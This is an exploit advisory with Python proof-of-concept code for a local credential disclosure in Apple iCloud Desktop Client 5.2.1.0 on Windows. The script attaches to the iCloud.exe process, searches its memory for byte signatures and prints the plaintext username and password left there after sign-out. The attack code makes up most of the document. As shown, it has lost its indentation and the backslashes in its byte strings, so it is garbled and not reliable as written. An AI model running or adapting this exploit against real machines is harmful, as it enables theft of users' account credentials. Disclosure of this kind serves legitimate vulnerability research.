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Apple iCloud Desktop Client 5.2.1.0 Credential Disclosure

Posted on 09 September 2016

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# Apple iCloud Desktop Client v5.2.1.0 Local Credentials Disclosure After Sign Out Exploit
# Tested on Windows Windows 7 64bit, English
# Vendor Homepage @ https://www.apple.com/
# Product Homepage @ https://support.apple.com/en-us/HT204283
# Date 07/09/2016
# Bug Discovery by:
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
# http://korznikov.com/
#
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# Apple iCloud Desktop Client v5.2.1.0 is vulnerable to local credentials disclosure after the user is logged out.
# It seems that iCloud does not store the supplied credentials while the user is logged in, but after sign out the supplied username and password are stored in a plaintext format in memory process.
# Funny eh?!
# A potential attacker could reveal the supplied username and password in order to gain access to iCloud account.
#
# Authors are not responsible for any misuse or demage which caused by use of this script code.
# Please use responsibly.
#####
# Proof-Of-Concept Code:

import time
import urllib
from winappdbg import Debug, Process

def b2h(str):
return ''.join(["%02X " % ord(x) for x in str]).strip()

def h2b(str):
bytes = []
str = ''.join(str.split(" "))
for i in range(0, len(str), 2):
bytes.append(chr(int(str[i:i+2], 16)))
return ''.join(bytes)

usr = ''
pwd = ''
found = 0
filename = "iCloud.exe"
process_pid = 0
memory_dump = []

debug = Debug()
try:
print "#########################################################################"
print "#	Apple iCloud v5.2.1.0 Local Credentials Disclosure Exploit	#"
print "# Bug Discovery by Yakir Wizman, Victor Minin, Alexander Korznikov	#"
print "#		Tested on Windows Windows 7 64bit, English		#"
print "#			Please use responsibly.				#"
print "#########################################################################
"
print "[~] Searching for pid by process name '%s'.." % (filename)
time.sleep(1)
debug.system.scan_processes()
for (process, process_name) in debug.system.find_processes_by_filename(filename):
process_pid = process.get_pid()
if process_pid is not 0:
print "[+] Found process with pid #%d" % (process_pid)
time.sleep(1)
print "[~] Trying to read memory for pid #%d" % (process_pid)

process = Process(process_pid)
for address in process.search_bytes('x88x38xB7xAEx73x8Cx07x00x0Ax16'):
memory_dump.append(process.read(address,50))

try:
str = b2h(memory_dump[0]).split('88 38 B7 AE 73 8C 07 00 0A 16')[1]
usr = h2b(str.split(' 00')[0])
except:
pass

memory_dump = []
for address in process.search_bytes('x65x00x88x38xB7xAEx73x8Cx07x00x02x09'):
memory_dump.append(process.read(address,60))
try:
str = b2h(memory_dump[0]).split('07 00 02 09')[1]
pwd = h2b(str.split(' 00')[0])
except:
pass

if usr != '' and pwd !='':
found = 1
print "[+] iCloud Credentials found!
----------------------------------------"
print "[+] Username: %s" % usr
print "[+] Password: %s" % pwd
if found == 0:
print "[-] Credentials not found!"
else:
print "[-] No process found with name '%s'." % (filename)

debug.loop()
finally:
debug.stop()

 

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